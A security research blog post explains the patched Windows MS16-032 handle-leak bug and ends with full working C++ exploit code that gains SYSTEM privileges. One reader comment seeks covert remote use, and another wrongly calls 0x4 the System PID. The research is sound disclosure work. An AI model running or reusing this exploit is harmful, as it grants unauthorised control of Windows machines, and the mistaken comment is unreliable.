Monday, March 21, 2016

Exploiting a Leaked Thread Handle

Posted by logged on user, James Forshaw.

Once in awhile you’ll find a bug that allows you to leak a handle opened in a privileged process into a lower privileged process. I found just such a bug in the Secondary Logon service on Windows, which was fixed this month as MS16-032. The bug allowed you to leak a thread handle with full access. This blog post is about how you could use that thread handle to gain system privileges without resorting to traditional memory corruption techniques.

The Bug Itself

You can find the issue here. The Secondary Logon service is present on all modern versions of Windows, at least back to XP. The service exposes an RPC endpoint that allows a normal process to create new processes with different tokens. From an API perspective this functionality is exposed through the CreateProcessWithTokenW and CreateProcessWithLogonW APIs. These act very similar to CreateProcessAsUser, the differences being that instead of SeAssignPrimaryTokenPrivilege being needed (with AsUser) you instead need SeImpersonatePrivilege for Token. The Logon function is a convenience which takes the logon credentials, calls LsaLogonUser and uses the resulting token to create the process.

These APIs take the same parameters as the normal CreateProcess including passing new handles for stdin/stdout/stderror. The passing of handles allows a console process’s output and input to be redirected to other files. When creating a new process these handles are normally transferred to the new process via handle inheritance. In the Secondary Logon case it can’t do this as the service is not the real parent of the new process so instead it manually duplicates the handles from the specified parent into the new process using the DuplicateHandle API with the following code:

// Contains, hStdInput, hStdOutout and hStdError.
HANDLE StandardHandles[3] = {...};
// Location of standard handle in target process PEB.
PHANDLE HandleAddress = ...;

for(int i = 0; i < 3; ++i) {
 if (StandardHandles[i]) {
   if (StandardHandles[i] & 0x10000003) != 3 ) {
     HANDLE TargetHandle;
     if (!DuplicateHandle(ParentProcess, StandardHandles[i],
         TargetProcess, &TargetHandle, 0, TRUE, DUPLICATE_SAME_ACCESS))
       return ERROR;
     if (!WriteProcessMemory(TargetProcess, &HandleAddress[i],
        &TargetHandle, sizeof(TargetHandle)))
       return ERROR;
   }
 }
}

The code duplicates the handle from the parent process (which is the caller of the RPC) into the target process. It then writes the duplicated handle’s value into the new process’s PEB ProcessParameters structure where it can be extracted using APIs such as GetStdHandle. The handle value looks to be sanitized in some way: it’s checking that the handle’s lower 2 bits are not set (in NT handles are always multiples of 4), but it’s also checking that bit 29 is NOT set.  

The NT kernel special cases two handle values to make development easier and presumably for performance reasons. This allows a process to refer to the current process or thread using a pseudo handle, instead of explicitly opening the object by its PID/TID and going through the whole access procedure (which you’d hope would succeed anyway). A developer would normally access these pseudo handles through the GetCurrentProcess and GetCurrentThread APIs (which are typically just defines). We can see the special casing in the following code:

NTSTATUS ObpReferenceProcessObjectByHandle(HANDLE       SourceHandle,
                                          EPROCESS*    SourceProcess,
                                          ...,
                                          PVOID*       Object,
                                          ACCESS_MASK* GrantedAccess) {
 if ((INT_PTR)SourceHandle < 0) {
   if (SourceHandle == (HANDLE)-1 ) {
     *GrantedAccess = PROCESS_ALL_ACCESS;
     *Object = SourceProcess;
     return STATUS_SUCCESS;
   } else if (SourceHandle == (HANDLE)-2) {
     *GrantedAccess = THREAD_ALL_ACCESS;
     *Object = KeGetCurrentThread();
     return STATUS_SUCCESS;
   }
   return STATUS_INVALID_HANDLE;
   
   // Get from process handle table.
}

Now we can understand why the code was checking for bit 29. It ensures that if either of the lower two bits are set (which is the case with the pseudo handles -1 and -2) but if a higher bit is also set it’s considered a valid handle. This is where the bug resides. We can see from the kernel code that if -1 is specified then a full access handle to the source process is created. This isn’t that useful as the source process is already under our control and is unprivileged. On the other hand, if -2 is specified then a full access handle to the current thread is created, this thread is actually in the Secondary Logon service, and it’ll be one of the Thread Pool handles used to service the RPC request. This is obviously bad.

The only problem is how can we call the CreateProcessWithToken/Logon API as a normal user? The Token variant is out as that requires the caller to have SeImpersonatePrivilege, but you’d assume that Logon requires a valid user account and password, which is okay if we’re a malicious user, but not so much if this was being exploited by malware. It turns out there’s a special flag, which means we don’t need to provide valid credentials, LOGON_NETCREDENTIALS_ONLY. When this is used with the Logon API the credentials are just used when connecting to network resources and the main token is based on the caller. This allows us to create the process without special privileges or needing a user’s password. Putting it together we can capture a thread handle using the following code:

HANDLE GetThreadHandle() {
 PROCESS_INFORMATION procInfo = {};
 STARTUPINFO startInfo = {};
 startInfo.cb = sizeof(startInfo);

 startInfo.hStdInput = GetCurrentThread();
 startInfo.hStdOutput = GetCurrentThread();
 startInfo.hStdError = GetCurrentThread();
 startInfo.dwFlags = STARTF_USESTDHANDLES;

 CreateProcessWithLogonW(L"test", L"test", L"test",
                         LOGON_NETCREDENTIALS_ONLY, nullptr, L"cmd.exe",
                         CREATE_SUSPENDED, nullptr, nullptr,
                         &startInfo, &procInfo);
 HANDLE hThread = nullptr;  
 DuplicateHandle(procInfo.hProcess, (HANDLE)0x4,
        GetCurrentProcess(), &hThread, 0, FALSE, DUPLICATE_SAME_ACCESS);
 TerminateProcess(procInfo.hProcess, 1);
 CloseHandle(procInfo.hProcess);
 CloseHandle(procInfo.hThread);
 return hThread;
}

Exploitation

On to the exploitation. It’s fortunate that the handle is to a Thread Pool thread, because this means that the thread will be kept around to service other RPC requests. If the thread only existed to service one request and then terminated, it would be a lot trickier to exploit.

The first thing you might think to do to exploit this leaked handle is set the thread context. For debugging purposes, or to allow a process to support arbitrary restarting of execution, a thread supports the function SetThreadContext. This sets the saved register state of the thread to values specified in the CONTEXT structure, including registers such as RIP and RSP, and when the thread resumes execution it will start executing from the specified location. This would seem to be an easy win. It’s easy to get execution but there are a few problems with it:

  • It only changes the user-mode execution context. If the thread is in a non-alertable wait state, it won’t start executing until some undetermined point in time.
  • As we don’t have a process handle we can’t easily inject memory into the process which can contain our shell code, meaning we’re almost certainly going to have to do some ROP to defeat DEP.
  • While we could inject memory into the process (say sending a large buffer over RPC) we might not be able to know where that is, especially on 64-bit platforms with a large address space. Admittedly we do have an information leak because we can call GetThreadContext but that might not give us enough.
  • If a mistake is made then the service crashes, which we would like to avoid.
While it’s 100% possible to exploit this using the SetThreadContext approach, it’s a pain and if we can avoid building ROP chains all the better. So instead I want a logical exploit, and in this case the nature of the vulnerability and the service works to our advantage.

The entire point of the Secondary Logon service is to create new processes with arbitrary tokens, so if we could somehow trick the service to using a privileged access token and bypass the security restrictions imposed, we should be able to elevate our privileges. How might we go about this? Let’s look at the sequence of operations the service uses to implement CreateProcessWithLogon.

RpcImpersonateClient();
Process = OpenProcess(CallingProcess);
Token = OpenThreadToken(Process)
If Token IL < MEDIUM_IL Then Error;
RpcRevertToSelf();

RpcImpersonateClient();
Token = LsaLogonUser(...);
RpcRevertToSelf();

ImpersonateLoggedOnUser(Token);
CreateProcessAsUser(Token, ...);
RevertToSelf();

This code uses impersonation a lot, and as we’ve got a thread handle with THREAD_IMPERSONATE access we can set the thread’s impersonation token. If we set a privileged impersonation token when the service is calling LsaLogonUser we’d get back a copy of that token which will be used to create our arbitrary process.

It would be much simpler if we could just clear the impersonation token (as then it’d fallback to the primary system token), but unfortunately the IL check gets in the way. If we cleared the token at the wrong time OpenThreadToken would fail and the Integrity Level (IL) check would deny access. Instead we’re going to have to get a privileged impersonation token from somewhere. There’s numerous ways we could do this, such as negotiating NTLM for the token over WebDAV but that just adds additional complexity. Instead, can we get the token without further resources?

There’s an undocumented NT system call NtImpersonateThread which will help us.

NTSTATUS NtImpersonateThread(HANDLE ThreadHandle,
                            HANDLE ThreadToImpersonate,
                            PSECURITY_QUALITY_OF_SERVICE SecurityQoS)

The system call allows you to apply an impersonation token to a thread based on the impersonation state of another thread. If the source thread doesn’t have an impersonation token the kernel goes and builds one from the associated process’ primary token. Even though it doesn’t obviously make sense, it’s possible to use the same thread handle for both the target and source of the impersonation. As this is a system service this means we get a system impersonation token. We can use the following code to get a system token for use:

HANDLE GetSystemToken(HANDLE hThread) {
 // Suspend thread just in case.
 SuspendThread(hThread);
 
 SECURITY_QUALITY_OF_SERVICE sqos = {};
 sqos.Length = sizeof(sqos);
 sqos.ImpersonationLevel = SecurityImpersonation;
 // Clear existing thread token.
 SetThreadToken(&hThread, nullptr);
 NtImpersonateThread(hThread, hThread, &sqos);

 // Open a new copy of the token.
 HANDLE hToken = nullptr;
 OpenThreadToken(hThread, TOKEN_ALL_ACCESS, FALSE, &hToken);
 ResumeThread(hThread);

 return hToken;
}

We now have almost everything we need to complete the exploit. We spin up a thread which will repeatedly set the system impersonation token to the leaked thread handle. In another thread we call CreateProcessWithLogon until the new process that’s created has the privileged token. We can determine whether a privileged token has been used by just inspecting the primary token. By default we won’t be able to open the token at all, so if we get ERROR_ACCESS_DENIED, we know we’ve succeeded.

process_creation.PNG

One problem with this simple approach is that the service has a number of Thread Pool threads available to it, so we’re not guaranteed to call the service and get it dispatched to a specific thread. To counter this we can run the original exploit multiple times to gather as many different Thread Pool handles as we can then run multiple token setting threads. That way as long as we gathered a handle for all the possible threads (and new ones aren’t created too often) we should stand a reasonable chance of success.

We could probably improve the reliability of the race by fiddling with thread priorities, but it seems to work well enough as it shouldn’t crash and failure just results in a new process being created with the user’s unprivileged token. It’s also worth noting that there’s no point trying to call CreateProcessWithLogon in multiple threads as the service holds a global lock on itself to prevent re-entrancy.

I’ve attached the working exploit to the end of this blog post. You need to ensure that it is built for the correct bitness of the platform, otherwise the RPC call will truncate the handle values. This is because handle values are pointers, which are unsigned, so when the RPC routines convert the 32 bit handles to 64 bit they are zero extended. As (DWORD)-2 does not equal (DWORD64)-2 it will fail with an invalid handle error.

Conclusion

Hopefully I’ve demonstrated an interesting way of exploiting a leaked thread handle in a privileged service. Of course it just happened that the leaked thread handle was used for a service which directly gave us control over process creation, but this same technique could be used for creating arbitrary files or other resources. Just because you can exploit a vulnerability like this using memory corruption techniques, it doesn’t mean that you have to.

Example Code


#include <stdio.h>
#include <tchar.h>
#include <Windows.h>
#include <map>

#define MAX_PROCESSES 1000

HANDLE GetThreadHandle()
{
 PROCESS_INFORMATION procInfo = {};
 STARTUPINFO startInfo = {};
 startInfo.cb = sizeof(startInfo);

 startInfo.hStdInput = GetCurrentThread();
 startInfo.hStdOutput = GetCurrentThread();
 startInfo.hStdError = GetCurrentThread();
 startInfo.dwFlags = STARTF_USESTDHANDLES;

 if (CreateProcessWithLogonW(L"test", L"test", L"test",
              LOGON_NETCREDENTIALS_ONLY,
              nullptr, L"cmd.exe", CREATE_SUSPENDED,
              nullptr, nullptr, &startInfo, &procInfo))
 {
   HANDLE hThread;   
   BOOL res = DuplicateHandle(procInfo.hProcess, (HANDLE)0x4,
            GetCurrentProcess(), &hThread, 0, FALSE, DUPLICATE_SAME_ACCESS);
   DWORD dwLastError = GetLastError();
   TerminateProcess(procInfo.hProcess, 1);
   CloseHandle(procInfo.hProcess);
   CloseHandle(procInfo.hThread);
   if (!res)
   {
     printf("Error duplicating handle %d\n", dwLastError);
     exit(1);
   }

   return hThread;
 }
 else
 {
   printf("Error: %d\n", GetLastError());
   exit(1);
 }
}

typedef NTSTATUS __stdcall NtImpersonateThread(HANDLE ThreadHandle,
     HANDLE ThreadToImpersonate,
     PSECURITY_QUALITY_OF_SERVICE SecurityQualityOfService);

HANDLE GetSystemToken(HANDLE hThread)
{
 SuspendThread(hThread);

 NtImpersonateThread* fNtImpersonateThread =
    (NtImpersonateThread*)GetProcAddress(GetModuleHandle(L"ntdll"),
                                         "NtImpersonateThread");
 SECURITY_QUALITY_OF_SERVICE sqos = {};
 sqos.Length = sizeof(sqos);
 sqos.ImpersonationLevel = SecurityImpersonation;
 SetThreadToken(&hThread, nullptr);
 NTSTATUS status = fNtImpersonateThread(hThread, hThread, &sqos);
 if (status != 0)
 {
   ResumeThread(hThread);
   printf("Error impersonating thread %08X\n", status);
   exit(1);
 }

 HANDLE hToken;
 if (!OpenThreadToken(hThread, TOKEN_DUPLICATE | TOKEN_IMPERSONATE,
                      FALSE, &hToken))
 {
   printf("Error opening thread token: %d\n", GetLastError());
   ResumeThread(hThread);    
   exit(1);
 }

 ResumeThread(hThread);

 return hToken;
}

struct ThreadArg
{
 HANDLE hThread;
 HANDLE hToken;
};

DWORD CALLBACK SetTokenThread(LPVOID lpArg)
{
 ThreadArg* arg = (ThreadArg*)lpArg;
 while (true)
 {
   if (!SetThreadToken(&arg->hThread, arg->hToken))
   {
     printf("Error setting token: %d\n", GetLastError());
     break;
   }
 }
 return 0;
}

int main()
{
 std::map<DWORD, HANDLE> thread_handles;
 printf("Gathering thread handles\n");

 for (int i = 0; i < MAX_PROCESSES; ++i) {
   HANDLE hThread = GetThreadHandle();
   DWORD dwTid = GetThreadId(hThread);
   if (!dwTid)
   {
     printf("Handle not a thread: %d\n", GetLastError());
     exit(1);
   }

   if (thread_handles.find(dwTid) == thread_handles.end())
   {
     thread_handles[dwTid] = hThread;
   }
   else
   {
     CloseHandle(hThread);
   }
 }

 printf("Done, got %zd handles\n", thread_handles.size());
 
 if (thread_handles.size() > 0)
 {
   HANDLE hToken = GetSystemToken(thread_handles.begin()->second);
   printf("System Token: %p\n", hToken);
   
   for (const auto& pair : thread_handles)
   {
     ThreadArg* arg = new ThreadArg;

     arg->hThread = pair.second;
     DuplicateToken(hToken, SecurityImpersonation, &arg->hToken);

     CreateThread(nullptr, 0, SetTokenThread, arg, 0, nullptr);
   }

   while (true)
   {
     PROCESS_INFORMATION procInfo = {};
     STARTUPINFO startInfo = {};
     startInfo.cb = sizeof(startInfo);     

     if (CreateProcessWithLogonW(L"test", L"test", L"test",
             LOGON_NETCREDENTIALS_ONLY, nullptr,
             L"cmd.exe", CREATE_SUSPENDED, nullptr, nullptr,
             &startInfo, &procInfo))
     {
       HANDLE hProcessToken;
       // If we can't get process token good chance it's a system process.
       if (!OpenProcessToken(procInfo.hProcess, MAXIMUM_ALLOWED,
                             &hProcessToken))
       {
         printf("Couldn't open process token %d\n", GetLastError());
         ResumeThread(procInfo.hThread);
         break;
       }
       // Just to be sure let's check the process token isn't elevated.
       TOKEN_ELEVATION elevation;
       DWORD dwSize = 0;
       if (!GetTokenInformation(hProcessToken, TokenElevation,
                             &elevation, sizeof(elevation), &dwSize))
       {
         printf("Couldn't get token elevation: %d\n", GetLastError());
         ResumeThread(procInfo.hThread);
         break;
       }

       if (elevation.TokenIsElevated)
       {
         printf("Created elevated process\n");
         break;
       }

       TerminateProcess(procInfo.hProcess, 1);
       CloseHandle(procInfo.hProcess);
       CloseHandle(procInfo.hThread);
     }     
   }
 }

 return 0;
}

11 comments:

  1. Got Invalid Handle (error 6) for CreateProcessWithLogonW in GetThreadHandle on Windows 7 x64..

    ReplyDelete
    Replies
    1. This comment has been removed by the author.

      Delete
    2. Ignore my last response. Be sure to build the code for x64 as opposed to x86 (32-bit). It will work then. It's even in the article and I failed to read it.

      Delete
    3. This comment has been removed by the author.

      Delete
  2. You have two bugs in your example code:

    1) In GetThreadHandle, STARTUPINFO should be STARTUPINFOW. CreateProcessWithLogonW expects a pointer to the wide string version of the struct.

    2) In main, after checking elevation.TokenIsElevated, the process thread is never resumed. As a result, it's like the process was never started. A call to ResumeThread(procInfo.hThread) before the break statement will fix this.

    ReplyDelete
  3. The term 'exploit.ps1' is not recognized as the name of a cmdlet, function
    , script file, or operable program. Check the spelling of the name, or if
    a path was included, verify that the path is correct and try again.
    At line:1 char:12
    + exploit.ps1 <<<<
    + CategoryInfo : ObjectNotFound: (exploit.ps1:String) [], Co
    mmandNotFoundException
    + FullyQualifiedErrorId : CommandNotFoundException

    ReplyDelete
  4. When I used MS16-032, it opened a new CMD with admin privilege, but I want to do it remotely without prompting a new window to user.

    How can I use it remotely and get admin on the same shell not another CMD window?

    ReplyDelete
  5. Just curious what is the meaning of the 0x4 in the call to DuplicateHandle:

    DuplicateHandle(procInfo.hProcess, (HANDLE)0x4,
    GetCurrentProcess(), &hThread, 0, FALSE, DUPLICATE_SAME_ACCESS);


    I see from the MSDN article its hSourceHandle, but what specifically does 0x4 represent?

    ReplyDelete
    Replies
    1. Same doubt here... Maybe it's not used in this case but checked against NULL, so the Author is specifying a valid yet non-existing handle on purpose?

      Delete
    2. 0x4 is PID of System mates

      Delete